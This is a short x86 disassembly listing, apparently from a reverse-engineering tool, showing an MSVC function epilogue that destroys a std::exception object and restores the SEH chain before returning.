mov dword [ebp - 0x2c], ecx
lea eax, [ebp - 0x44]
mov dword [ebp - 0x48], vtable.std::exception.0
push eax
call dword [sym.imp.VCRUNTIME140.dll___std_exception_destroy]
add esp, 4
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret